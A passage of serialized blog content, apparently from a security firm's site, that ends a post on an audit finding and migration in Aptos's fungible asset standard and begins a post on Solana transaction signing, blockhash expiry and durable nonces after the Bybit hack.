CoinConversionMap",{"type":21,"tag":85,"props":67352,"children":67353},{"style":114},[67354],{"type":26,"value":256},{"type":21,"tag":85,"props":67356,"children":67357},{"style":108},[67358],{"type":26,"value":1051},{"type":21,"tag":85,"props":67360,"children":67361},{"style":114},[67362],{"type":26,"value":148},{"type":21,"tag":85,"props":67364,"children":67365},{"class":87,"line":160},[67366,67370,67375,67379,67384,67388,67392],{"type":21,"tag":85,"props":67367,"children":67368},{"style":102},[67369],{"type":26,"value":3778},{"type":21,"tag":85,"props":67371,"children":67372},{"style":120},[67373],{"type":26,"value":67374}," metadata",{"type":21,"tag":85,"props":67376,"children":67377},{"style":169},[67378],{"type":26,"value":1941},{"type":21,"tag":85,"props":67380,"children":67381},{"style":120},[67382],{"type":26,"value":67383}," ensure_paired_metadata",{"type":21,"tag":85,"props":67385,"children":67386},{"style":114},[67387],{"type":26,"value":117},{"type":21,"tag":85,"props":67389,"children":67390},{"style":108},[67391],{"type":26,"value":919},{"type":21,"tag":85,"props":67393,"children":67394},{"style":114},[67395],{"type":26,"value":2809},{"type":21,"tag":85,"props":67397,"children":67398},{"class":87,"line":185},[67399,67403,67408,67412,67417,67421,67425],{"type":21,"tag":85,"props":67400,"children":67401},{"style":102},[67402],{"type":26,"value":3778},{"type":21,"tag":85,"props":67404,"children":67405},{"style":120},[67406],{"type":26,"value":67407}," amount",{"type":21,"tag":85,"props":67409,"children":67410},{"style":169},[67411],{"type":26,"value":1941},{"type":21,"tag":85,"props":67413,"children":67414},{"style":1021},[67415],{"type":26,"value":67416}," burn_internal",{"type":21,"tag":85,"props":67418,"children":67419},{"style":114},[67420],{"type":26,"value":1439},{"type":21,"tag":85,"props":67422,"children":67423},{"style":120},[67424],{"type":26,"value":61391},{"type":21,"tag":85,"props":67426,"children":67427},{"style":114},[67428],{"type":26,"value":777},{"type":21,"tag":85,"props":67430,"children":67431},{"class":87,"line":501},[67432,67436,67440,67445,67449,67453,67457,67461],{"type":21,"tag":85,"props":67433,"children":67434},{"style":114},[67435],{"type":26,"value":66419},{"type":21,"tag":85,"props":67437,"children":67438},{"style":169},[67439],{"type":26,"value":1087},{"type":21,"tag":85,"props":67441,"children":67442},{"style":1021},[67443],{"type":26,"value":67444},"mint_internal",{"type":21,"tag":85,"props":67446,"children":67447},{"style":114},[67448],{"type":26,"value":1439},{"type":21,"tag":85,"props":67450,"children":67451},{"style":120},[67452],{"type":26,"value":62770},{"type":21,"tag":85,"props":67454,"children":67455},{"style":114},[67456],{"type":26,"value":256},{"type":21,"tag":85,"props":67458,"children":67459},{"style":120},[67460],{"type":26,"value":20734},{"type":21,"tag":85,"props":67462,"children":67463},{"style":114},[67464],{"type":26,"value":2485},{"type":21,"tag":85,"props":67466,"children":67467},{"class":87,"line":697},[67468],{"type":21,"tag":85,"props":67469,"children":67470},{"style":114},[67471],{"type":26,"value":2671},{"type":21,"tag":22,"props":67473,"children":67474},{},[67475,67477,67484],{"type":26,"value":67476},"When creating a fungible asset, several pieces of information are required, such as the asset’s name, symbol, or maximum supply. During our audit of the fungible asset standard, we ",{"type":21,"tag":335,"props":67478,"children":67481},{"href":67479,"rel":67480},"https://github.com/aptos-labs/aptos-core/commit/e5f4b62b237dad4d15069d3bb0b551b2df04bf08",[339],[67482],{"type":26,"value":67483},"noticed an overlooked detail",{"type":26,"value":67485}," in the linking process.",{"type":21,"tag":75,"props":67487,"children":67489},{"className":77,"code":67488,"language":79,"meta":7,"style":7},"[...]\nprimary_fungible_store::create_primary_store_enabled_fungible_asset(\n    &metadata_object_cref,\n    option::map(coin_supply\u003CCoinType>(), |_| MAX_U128),\n    name\u003CCoinType>(),\n    symbol\u003CCoinType>(),\n    decimals\u003CCoinType>(),\n    string::utf8(b\"\"),\n    string::utf8(b\"\"),\n);\n[...]\n",[67490],{"type":21,"tag":66,"props":67491,"children":67492},{"__ignoreMap":7},[67493,67508,67528,67545,67601,67622,67642,67662,67692,67719,67726],{"type":21,"tag":85,"props":67494,"children":67495},{"class":87,"line":88},[67496,67500,67504],{"type":21,"tag":85,"props":67497,"children":67498},{"style":114},[67499],{"type":26,"value":3016},{"type":21,"tag":85,"props":67501,"children":67502},{"style":169},[67503],{"type":26,"value":10004},{"type":21,"tag":85,"props":67505,"children":67506},{"style":114},[67507],{"type":26,"value":12189},{"type":21,"tag":85,"props":67509,"children":67510},{"class":87,"line":98},[67511,67515,67519,67524],{"type":21,"tag":85,"props":67512,"children":67513},{"style":114},[67514],{"type":26,"value":63067},{"type":21,"tag":85,"props":67516,"children":67517},{"style":169},[67518],{"type":26,"value":1087},{"type":21,"tag":85,"props":67520,"children":67521},{"style":1021},[67522],{"type":26,"value":67523},"create_primary_store_enabled_fungible_asset",{"type":21,"tag":85,"props":67525,"children":67526},{"style":114},[67527],{"type":26,"value":1029},{"type":21,"tag":85,"props":67529,"children":67530},{"class":87,"line":151},[67531,67536,67541],{"type":21,"tag":85,"props":67532,"children":67533},{"style":169},[67534],{"type":26,"value":67535},"    &",{"type":21,"tag":85,"props":67537,"children":67538},{"style":120},[67539],{"type":26,"value":67540},"metadata_object_cref",{"type":21,"tag":85,"props":67542,"children":67543},{"style":114},[67544],{"type":26,"value":182},{"type":21,"tag":85,"props":67546,"children":67547},{"class":87,"line":160},[67548,67553,67557,67562,67566,67571,67575,67579,67584,67588,67592,67596],{"type":21,"tag":85,"props":67549,"children":67550},{"style":114},[67551],{"type":26,"value":67552},"    option",{"type":21,"tag":85,"props":67554,"children":67555},{"style":169},[67556],{"type":26,"value":1087},{"type":21,"tag":85,"props":67558,"children":67559},{"style":1021},[67560],{"type":26,"value":67561},"map",{"type":21,"tag":85,"props":67563,"children":67564},{"style":114},[67565],{"type":26,"value":1439},{"type":21,"tag":85,"props":67567,"children":67568},{"style":120},[67569],{"type":26,"value":67570},"coin_supply",{"type":21,"tag":85,"props":67572,"children":67573},{"style":114},[67574],{"type":26,"value":117},{"type":21,"tag":85,"props":67576,"children":67577},{"style":108},[67578],{"type":26,"value":919},{"type":21,"tag":85,"props":67580,"children":67581},{"style":114},[67582],{"type":26,"value":67583},">(), ",{"type":21,"tag":85,"props":67585,"children":67586},{"style":169},[67587],{"type":26,"value":10831},{"type":21,"tag":85,"props":67589,"children":67590},{"style":120},[67591],{"type":26,"value":3856},{"type":21,"tag":85,"props":67593,"children":67594},{"style":169},[67595],{"type":26,"value":10831},{"type":21,"tag":85,"props":67597,"children":67598},{"style":114},[67599],{"type":26,"value":67600}," MAX_U128),\n",{"type":21,"tag":85,"props":67602,"children":67603},{"class":87,"line":185},[67604,67609,67613,67617],{"type":21,"tag":85,"props":67605,"children":67606},{"style":120},[67607],{"type":26,"value":67608},"    name",{"type":21,"tag":85,"props":67610,"children":67611},{"style":114},[67612],{"type":26,"value":117},{"type":21,"tag":85,"props":67614,"children":67615},{"style":108},[67616],{"type":26,"value":919},{"type":21,"tag":85,"props":67618,"children":67619},{"style":114},[67620],{"type":26,"value":67621},">(),\n",{"type":21,"tag":85,"props":67623,"children":67624},{"class":87,"line":501},[67625,67630,67634,67638],{"type":21,"tag":85,"props":67626,"children":67627},{"style":120},[67628],{"type":26,"value":67629},"    symbol",{"type":21,"tag":85,"props":67631,"children":67632},{"style":114},[67633],{"type":26,"value":117},{"type":21,"tag":85,"props":67635,"children":67636},{"style":108},[67637],{"type":26,"value":919},{"type":21,"tag":85,"props":67639,"children":67640},{"style":114},[67641],{"type":26,"value":67621},{"type":21,"tag":85,"props":67643,"children":67644},{"class":87,"line":697},[67645,67650,67654,67658],{"type":21,"tag":85,"props":67646,"children":67647},{"style":120},[67648],{"type":26,"value":67649},"    decimals",{"type":21,"tag":85,"props":67651,"children":67652},{"style":114},[67653],{"type":26,"value":117},{"type":21,"tag":85,"props":67655,"children":67656},{"style":108},[67657],{"type":26,"value":919},{"type":21,"tag":85,"props":67659,"children":67660},{"style":114},[67661],{"type":26,"value":67621},{"type":21,"tag":85,"props":67663,"children":67664},{"class":87,"line":706},[67665,67670,67674,67679,67683,67688],{"type":21,"tag":85,"props":67666,"children":67667},{"style":114},[67668],{"type":26,"value":67669},"    string",{"type":21,"tag":85,"props":67671,"children":67672},{"style":169},[67673],{"type":26,"value":1087},{"type":21,"tag":85,"props":67675,"children":67676},{"style":1021},[67677],{"type":26,"value":67678},"utf8",{"type":21,"tag":85,"props":67680,"children":67681},{"style":114},[67682],{"type":26,"value":1439},{"type":21,"tag":85,"props":67684,"children":67685},{"style":5026},[67686],{"type":26,"value":67687},"b\"\"",{"type":21,"tag":85,"props":67689,"children":67690},{"style":114},[67691],{"type":26,"value":1074},{"type":21,"tag":85,"props":67693,"children":67694},{"class":87,"line":1100},[67695,67699,67703,67707,67711,67715],{"type":21,"tag":85,"props":67696,"children":67697},{"style":114},[67698],{"type":26,"value":67669},{"type":21,"tag":85,"props":67700,"children":67701},{"style":169},[67702],{"type":26,"value":1087},{"type":21,"tag":85,"props":67704,"children":67705},{"style":1021},[67706],{"type":26,"value":67678},{"type":21,"tag":85,"props":67708,"children":67709},{"style":114},[67710],{"type":26,"value":1439},{"type":21,"tag":85,"props":67712,"children":67713},{"style":5026},[67714],{"type":26,"value":67687},{"type":21,"tag":85,"props":67716,"children":67717},{"style":114},[67718],{"type":26,"value":1074},{"type":21,"tag":85,"props":67720,"children":67721},{"class":87,"line":1339},[67722],{"type":21,"tag":85,"props":67723,"children":67724},{"style":114},[67725],{"type":26,"value":777},{"type":21,"tag":85,"props":67727,"children":67728},{"class":87,"line":1348},[67729,67733,67737],{"type":21,"tag":85,"props":67730,"children":67731},{"style":114},[67732],{"type":26,"value":3016},{"type":21,"tag":85,"props":67734,"children":67735},{"style":169},[67736],{"type":26,"value":10004},{"type":21,"tag":85,"props":67738,"children":67739},{"style":114},[67740],{"type":26,"value":12189},{"type":21,"tag":22,"props":67742,"children":67743},{},[67744,67746,67751],{"type":26,"value":67745},"When the linked fungible asset was created, the current ",{"type":21,"tag":66,"props":67747,"children":67749},{"className":67748},[],[67750],{"type":26,"value":61424},{"type":26,"value":67752}," supply was incorrectly passed as the maximum fungible asset supply, preventing the minting of additional fungible assets beyond the existing coin circulation.",{"type":21,"tag":22,"props":67754,"children":67755},{},[67756,67758,67763,67765,67771,67773,67778],{"type":26,"value":67757},"Users can manually migrate their ",{"type":21,"tag":66,"props":67759,"children":67761},{"className":67760},[],[67762],{"type":26,"value":61586},{"type":26,"value":67764}," to a primary fungible store. This creates a store for the paired fungible asset (if one doesn’t exist) and removes the ",{"type":21,"tag":66,"props":67766,"children":67768},{"className":67767},[],[67769],{"type":26,"value":67770},"\u003CCoinStore\u003CCoinType>>",{"type":26,"value":67772}," from the caller. All coins in the ",{"type":21,"tag":66,"props":67774,"children":67776},{"className":67775},[],[67777],{"type":26,"value":61586},{"type":26,"value":67779}," are exchanged and transferred to the new store during the migration.",{"type":21,"tag":75,"props":67781,"children":67783},{"className":77,"code":67782,"language":79,"meta":7,"style":7},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\npublic entry fun migrate_to_fungible_store\u003CCoinType>(\n    account: &signer\n) acquires CoinStore, CoinConversionMap, CoinInfo {\n    maybe_convert_to_fungible_store\u003CCoinType>(signer::address_of(account));\n}\n",[67784],{"type":21,"tag":66,"props":67785,"children":67786},{"__ignoreMap":7},[67787,67795,67827,67847,67883,67924],{"type":21,"tag":85,"props":67788,"children":67789},{"class":87,"line":88},[67790],{"type":21,"tag":85,"props":67791,"children":67792},{"style":92},[67793],{"type":26,"value":67794},"/// Voluntarily migrate to fungible store for `CoinType` if not yet.\n",{"type":21,"tag":85,"props":67796,"children":67797},{"class":87,"line":98},[67798,67802,67806,67810,67815,67819,67823],{"type":21,"tag":85,"props":67799,"children":67800},{"style":120},[67801],{"type":26,"value":62133},{"type":21,"tag":85,"props":67803,"children":67804},{"style":120},[67805],{"type":26,"value":63100},{"type":21,"tag":85,"props":67807,"children":67808},{"style":120},[67809],{"type":26,"value":532},{"type":21,"tag":85,"props":67811,"children":67812},{"style":120},[67813],{"type":26,"value":67814}," migrate_to_fungible_store",{"type":21,"tag":85,"props":67816,"children":67817},{"style":114},[67818],{"type":26,"value":117},{"type":21,"tag":85,"props":67820,"children":67821},{"style":108},[67822],{"type":26,"value":919},{"type":21,"tag":85,"props":67824,"children":67825},{"style":114},[67826],{"type":26,"value":924},{"type":21,"tag":85,"props":67828,"children":67829},{"class":87,"line":151},[67830,67834,67838,67842],{"type":21,"tag":85,"props":67831,"children":67832},{"style":120},[67833],{"type":26,"value":25612},{"type":21,"tag":85,"props":67835,"children":67836},{"style":169},[67837],{"type":26,"value":172},{"type":21,"tag":85,"props":67839,"children":67840},{"style":169},[67841],{"type":26,"value":1487},{"type":21,"tag":85,"props":67843,"children":67844},{"style":120},[67845],{"type":26,"value":67846},"signer\n",{"type":21,"tag":85,"props":67848,"children":67849},{"class":87,"line":160},[67850,67854,67858,67862,67866,67871,67875,67879],{"type":21,"tag":85,"props":67851,"children":67852},{"style":114},[67853],{"type":26,"value":736},{"type":21,"tag":85,"props":67855,"children":67856},{"style":120},[67857],{"type":26,"value":669},{"type":21,"tag":85,"props":67859,"children":67860},{"style":108},[67861],{"type":26,"value":61607},{"type":21,"tag":85,"props":67863,"children":67864},{"style":114},[67865],{"type":26,"value":256},{"type":21,"tag":85,"props":67867,"children":67868},{"style":108},[67869],{"type":26,"value":67870},"CoinConversionMap",{"type":21,"tag":85,"props":67872,"children":67873},{"style":114},[67874],{"type":26,"value":256},{"type":21,"tag":85,"props":67876,"children":67877},{"style":108},[67878],{"type":26,"value":1051},{"type":21,"tag":85,"props":67880,"children":67881},{"style":114},[67882],{"type":26,"value":148},{"type":21,"tag":85,"props":67884,"children":67885},{"class":87,"line":185},[67886,67891,67895,67899,67904,67908,67912,67916,67920],{"type":21,"tag":85,"props":67887,"children":67888},{"style":120},[67889],{"type":26,"value":67890},"    maybe_convert_to_fungible_store",{"type":21,"tag":85,"props":67892,"children":67893},{"style":114},[67894],{"type":26,"value":117},{"type":21,"tag":85,"props":67896,"children":67897},{"style":108},[67898],{"type":26,"value":919},{"type":21,"tag":85,"props":67900,"children":67901},{"style":114},[67902],{"type":26,"value":67903},">(signer",{"type":21,"tag":85,"props":67905,"children":67906},{"style":169},[67907],{"type":26,"value":1087},{"type":21,"tag":85,"props":67909,"children":67910},{"style":1021},[67911],{"type":26,"value":1555},{"type":21,"tag":85,"props":67913,"children":67914},{"style":114},[67915],{"type":26,"value":1439},{"type":21,"tag":85,"props":67917,"children":67918},{"style":120},[67919],{"type":26,"value":13370},{"type":21,"tag":85,"props":67921,"children":67922},{"style":114},[67923],{"type":26,"value":1569},{"type":21,"tag":85,"props":67925,"children":67926},{"class":87,"line":501},[67927],{"type":21,"tag":85,"props":67928,"children":67929},{"style":114},[67930],{"type":26,"value":2671},{"type":21,"tag":22,"props":67932,"children":67933},{},[67934,67936,67941,67943,67948],{"type":26,"value":67935},"A curious reader might wonder about the fate of the ",{"type":21,"tag":66,"props":67937,"children":67939},{"className":67938},[],[67940],{"type":26,"value":61586},{"type":26,"value":67942}," \"frozen\" status during migration. Unsurprisingly tough, the \"frozen\" status of the primary fungible store is matched to that of the ",{"type":21,"tag":66,"props":67944,"children":67946},{"className":67945},[],[67947],{"type":26,"value":61586},{"type":26,"value":67949}," to ensure consistency.",{"type":21,"tag":66644,"props":67951,"children":67952},{},[67953,67972],{"type":21,"tag":22,"props":67954,"children":67955},{},[67956,67958,67963,67965,67970],{"type":26,"value":67957},"Could an attacker convert their ",{"type":21,"tag":66,"props":67959,"children":67961},{"className":67960},[],[67962],{"type":26,"value":61586},{"type":26,"value":67964}," to a primary fungible store and then register another ",{"type":21,"tag":66,"props":67966,"children":67968},{"className":67967},[],[67969],{"type":26,"value":61586},{"type":26,"value":67971}," only to convert it again to manipulate the \"frozen\" status of the linked primary fungible store?",{"type":21,"tag":66675,"props":67973,"children":67974},{"v-slot:answer-0":7},[67975],{"type":21,"tag":22,"props":67976,"children":67977},{},[67978],{"type":26,"value":67979},"The coin::register function first checks is_account_registered, which exits early if true. is_account_registered determines if the account has a primary fungible store for the linked fungible asset when the CoinStore doesn’t exist. If the fungible store has been converted, a primary fungible store and linked fungible asset will already exist, preventing re-registration.",{"type":21,"tag":54,"props":67981,"children":67982},{"id":29375},[67983],{"type":26,"value":19373},{"type":21,"tag":22,"props":67985,"children":67986},{},[67987,67989,67994],{"type":26,"value":67988},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":21,"tag":66,"props":67990,"children":67992},{"className":67991},[],[67993],{"type":26,"value":61424},{"type":26,"value":73},{"type":21,"tag":22,"props":67996,"children":67997},{},[67998],{"type":26,"value":67999},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":21,"tag":22,"props":68001,"children":68002},{},[68003,68005],{"type":26,"value":68004},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":21,"tag":15893,"props":68006,"children":68007},{},[68008],{"type":21,"tag":335,"props":68009,"children":68011},{"href":30067,"ariaDescribedBy":68010,"dataFootnoteRef":7,"id":30069},[15900],[68012],{"type":26,"value":4779},{"type":21,"tag":18846,"props":68014,"children":68016},{"className":68015,"dataFootnotes":7},[18849],[68017,68022],{"type":21,"tag":54,"props":68018,"children":68020},{"className":68019,"id":15900},[18854],[68021],{"type":26,"value":18857},{"type":21,"tag":841,"props":68023,"children":68024},{},[68025],{"type":21,"tag":845,"props":68026,"children":68027},{"id":30810},[68028,68030,68072],{"type":26,"value":68029},"There are at least four functions that can withdraw a fungible asset:",{"type":21,"tag":17108,"props":68031,"children":68032},{},[68033,68043,68052,68062],{"type":21,"tag":845,"props":68034,"children":68035},{},[68036],{"type":21,"tag":335,"props":68037,"children":68041},{"href":68038,"rel":68039,":style":68040},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[339],"color: #007bff;",[68042],{"type":26,"value":64725},{"type":21,"tag":845,"props":68044,"children":68045},{},[68046],{"type":21,"tag":335,"props":68047,"children":68050},{"href":68048,"rel":68049,":style":68040},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[339],[68051],{"type":26,"value":66665},{"type":21,"tag":845,"props":68053,"children":68054},{},[68055],{"type":21,"tag":335,"props":68056,"children":68059},{"href":68057,"rel":68058,":style":68040},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[339],[68060],{"type":26,"value":68061},"primary_fungible_store::withdraw",{"type":21,"tag":845,"props":68063,"children":68064},{},[68065],{"type":21,"tag":335,"props":68066,"children":68069},{"href":68067,"rel":68068,":style":68040},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[339],[68070],{"type":26,"value":68071},"coin::withdraw",{"type":21,"tag":335,"props":68073,"children":68075},{"href":30838,"ariaLabel":18960,"className":68074,"dataFootnoteBackref":7},[18962],[68076],{"type":26,"value":18965},{"type":21,"tag":3632,"props":68078,"children":68079},{},[68080],{"type":26,"value":3636},{"title":7,"searchDepth":98,"depth":98,"links":68082},[68083,68084,68085,68088,68093,68094,68095,68096],{"id":61410,"depth":98,"text":61413},{"id":61955,"depth":98,"text":61958},{"id":62515,"depth":98,"text":62518,"children":68086},[68087],{"id":63026,"depth":151,"text":63029},{"id":63283,"depth":98,"text":63286,"children":68089},[68090,68091,68092],{"id":63326,"depth":151,"text":63329},{"id":64031,"depth":151,"text":64034},{"id":65689,"depth":151,"text":65692},{"id":66220,"depth":98,"text":66223},{"id":67201,"depth":98,"text":67204},{"id":29375,"depth":98,"text":19373},{"id":15900,"depth":98,"text":18857},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":68101,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":68102,"description":68103,"date":68104,"author":10,"image":68105,"isFeatured":16,"onBlogPage":16,"tags":68107,"body":68108,"_type":3642,"_id":69936,"_source":3644,"_file":69937,"_stem":69938,"_extension":3647},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":68106,"width":6152,"height":6153},"/posts/multisig-security/title.png",[3659],{"type":18,"children":68109,"toc":69927},[68110,68123,68129,68134,68140,68153,68161,68174,68234,68256,68383,68388,68401,68413,68419,68433,68446,68460,68942,68947,68955,68969,68983,69122,69134,69140,69145,69163,69168,69173,69194,69478,69493,69681,69694,69823,69828,69833,69838,69866,69872,69877,69891,69923],{"type":21,"tag":22,"props":68111,"children":68112},{},[68113,68114,68121],{"type":26,"value":17034},{"type":21,"tag":335,"props":68115,"children":68118},{"href":68116,"rel":68117},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[339],[68119],{"type":26,"value":68120},"Bybit hack",{"type":26,"value":68122}," raises an interesting question: what can teams do if their signers are compromised?",{"type":21,"tag":54,"props":68124,"children":68126},{"id":68125},"solana-signatures",[68127],{"type":26,"value":68128},"Solana Signatures",{"type":21,"tag":22,"props":68130,"children":68131},{},[68132],{"type":26,"value":68133},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":21,"tag":10022,"props":68135,"children":68137},{"id":68136},"recent-blockhash",[68138],{"type":26,"value":68139},"Recent Blockhash",{"type":21,"tag":22,"props":68141,"children":68142},{},[68143,68145,68152],{"type":26,"value":68144},"The most straightforward is with a \"recent blockhash\". From ",{"type":21,"tag":335,"props":68146,"children":68149},{"href":68147,"rel":68148},"https://solana.com/developers/guides/advanced/confirmation",[339],[68150],{"type":26,"value":68151},"the docs",{"type":26,"value":172},{"type":21,"tag":3712,"props":68154,"children":68155},{},[68156],{"type":21,"tag":22,"props":68157,"children":68158},{},[68159],{"type":26,"value":68160},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":21,"tag":22,"props":68162,"children":68163},{},[68164,68166,68173],{"type":26,"value":68165},"The actual constant ",{"type":21,"tag":335,"props":68167,"children":68170},{"href":68168,"rel":68169},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[339],[68171],{"type":26,"value":68172},"is defined here",{"type":26,"value":73},{"type":21,"tag":75,"props":68175,"children":68177},{"className":77,"code":68176,"language":79,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[68178],{"type":21,"tag":66,"props":68179,"children":68180},{"__ignoreMap":7},[68181,68189],{"type":21,"tag":85,"props":68182,"children":68183},{"class":87,"line":88},[68184],{"type":21,"tag":85,"props":68185,"children":68186},{"style":92},[68187],{"type":26,"value":68188},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":21,"tag":85,"props":68190,"children":68191},{"class":87,"line":98},[68192,68196,68200,68205,68209,68213,68217,68222,68226,68230],{"type":21,"tag":85,"props":68193,"children":68194},{"style":102},[68195],{"type":26,"value":14108},{"type":21,"tag":85,"props":68197,"children":68198},{"style":102},[68199],{"type":26,"value":39559},{"type":21,"tag":85,"props":68201,"children":68202},{"style":114},[68203],{"type":26,"value":68204}," MAX_PROCESSING_AGE",{"type":21,"tag":85,"props":68206,"children":68207},{"style":169},[68208],{"type":26,"value":172},{"type":21,"tag":85,"props":68210,"children":68211},{"style":108},[68212],{"type":26,"value":14149},{"type":21,"tag":85,"props":68214,"children":68215},{"style":169},[68216],{"type":26,"value":1941},{"type":21,"tag":85,"props":68218,"children":68219},{"style":114},[68220],{"type":26,"value":68221}," MAX_RECENT_BLOCKHASHES ",{"type":21,"tag":85,"props":68223,"children":68224},{"style":169},[68225],{"type":26,"value":5349},{"type":21,"tag":85,"props":68227,"children":68228},{"style":2285},[68229],{"type":26,"value":2288},{"type":21,"tag":85,"props":68231,"children":68232},{"style":114},[68233],{"type":26,"value":2535},{"type":21,"tag":22,"props":68235,"children":68236},{},[68237,68239,68246,68248,68254],{"type":26,"value":68238},"For those curious, the logic ",{"type":21,"tag":335,"props":68240,"children":68243},{"href":68241,"rel":68242},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[339],[68244],{"type":26,"value":68245},"starts here",{"type":26,"value":68247}," and is quite straightforward to follow, ending in a ",{"type":21,"tag":66,"props":68249,"children":68251},{"className":68250},[],[68252],{"type":26,"value":68253},"is_hash_index_valid",{"type":26,"value":68255}," check.",{"type":21,"tag":75,"props":68257,"children":68259},{"className":77,"code":68258,"language":79,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n    last_hash_index - hash_index \u003C= max_age as u64\n}\n",[68260],{"type":21,"tag":66,"props":68261,"children":68262},{"__ignoreMap":7},[68263,68342,68376],{"type":21,"tag":85,"props":68264,"children":68265},{"class":87,"line":88},[68266,68270,68275,68279,68284,68288,68292,68296,68301,68305,68309,68313,68318,68322,68326,68330,68334,68338],{"type":21,"tag":85,"props":68267,"children":68268},{"style":102},[68269],{"type":26,"value":20694},{"type":21,"tag":85,"props":68271,"children":68272},{"style":1021},[68273],{"type":26,"value":68274}," is_hash_index_valid",{"type":21,"tag":85,"props":68276,"children":68277},{"style":114},[68278],{"type":26,"value":1439},{"type":21,"tag":85,"props":68280,"children":68281},{"style":120},[68282],{"type":26,"value":68283},"last_hash_index",{"type":21,"tag":85,"props":68285,"children":68286},{"style":169},[68287],{"type":26,"value":172},{"type":21,"tag":85,"props":68289,"children":68290},{"style":108},[68291],{"type":26,"value":177},{"type":21,"tag":85,"props":68293,"children":68294},{"style":114},[68295],{"type":26,"value":256},{"type":21,"tag":85,"props":68297,"children":68298},{"style":120},[68299],{"type":26,"value":68300},"max_age",{"type":21,"tag":85,"props":68302,"children":68303},{"style":169},[68304],{"type":26,"value":172},{"type":21,"tag":85,"props":68306,"children":68307},{"style":108},[68308],{"type":26,"value":14149},{"type":21,"tag":85,"props":68310,"children":68311},{"style":114},[68312],{"type":26,"value":256},{"type":21,"tag":85,"props":68314,"children":68315},{"style":120},[68316],{"type":26,"value":68317},"hash_index",{"type":21,"tag":85,"props":68319,"children":68320},{"style":169},[68321],{"type":26,"value":172},{"type":21,"tag":85,"props":68323,"children":68324},{"style":108},[68325],{"type":26,"value":177},{"type":21,"tag":85,"props":68327,"children":68328},{"style":114},[68329],{"type":26,"value":736},{"type":21,"tag":85,"props":68331,"children":68332},{"style":169},[68333],{"type":26,"value":14175},{"type":21,"tag":85,"props":68335,"children":68336},{"style":108},[68337],{"type":26,"value":12467},{"type":21,"tag":85,"props":68339,"children":68340},{"style":114},[68341],{"type":26,"value":148},{"type":21,"tag":85,"props":68343,"children":68344},{"class":87,"line":98},[68345,68350,68354,68359,68363,68368,68372],{"type":21,"tag":85,"props":68346,"children":68347},{"style":120},[68348],{"type":26,"value":68349},"    last_hash_index",{"type":21,"tag":85,"props":68351,"children":68352},{"style":169},[68353],{"type":26,"value":51711},{"type":21,"tag":85,"props":68355,"children":68356},{"style":120},[68357],{"type":26,"value":68358}," hash_index",{"type":21,"tag":85,"props":68360,"children":68361},{"style":169},[68362],{"type":26,"value":2553},{"type":21,"tag":85,"props":68364,"children":68365},{"style":120},[68366],{"type":26,"value":68367}," max_age",{"type":21,"tag":85,"props":68369,"children":68370},{"style":102},[68371],{"type":26,"value":3195},{"type":21,"tag":85,"props":68373,"children":68374},{"style":108},[68375],{"type":26,"value":13614},{"type":21,"tag":85,"props":68377,"children":68378},{"class":87,"line":151},[68379],{"type":21,"tag":85,"props":68380,"children":68381},{"style":114},[68382],{"type":26,"value":2671},{"type":21,"tag":22,"props":68384,"children":68385},{},[68386],{"type":26,"value":68387},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":21,"tag":3712,"props":68389,"children":68390},{},[68391],{"type":21,"tag":22,"props":68392,"children":68393},{},[68394,68396],{"type":26,"value":68395},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":21,"tag":873,"props":68397,"children":68398},{},[68399],{"type":26,"value":68400},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":21,"tag":22,"props":68402,"children":68403},{},[68404,68406,68411],{"type":26,"value":68405},"This means an attacker ",{"type":21,"tag":39,"props":68407,"children":68408},{},[68409],{"type":26,"value":68410},"must use",{"type":26,"value":68412}," a malicious signed transaction within a short timeframe.",{"type":21,"tag":10022,"props":68414,"children":68416},{"id":68415},"durable-nonce",[68417],{"type":26,"value":68418},"Durable Nonce",{"type":21,"tag":22,"props":68420,"children":68421},{},[68422,68424,68431],{"type":26,"value":68423},"The second type of signature ",{"type":21,"tag":335,"props":68425,"children":68428},{"href":68426,"rel":68427},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[339],[68429],{"type":26,"value":68430},"is a durable nonce",{"type":26,"value":68432},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":21,"tag":3712,"props":68434,"children":68435},{},[68436],{"type":21,"tag":22,"props":68437,"children":68438},{},[68439,68441],{"type":26,"value":68440},"durable nonces provide an opportunity to create and sign a 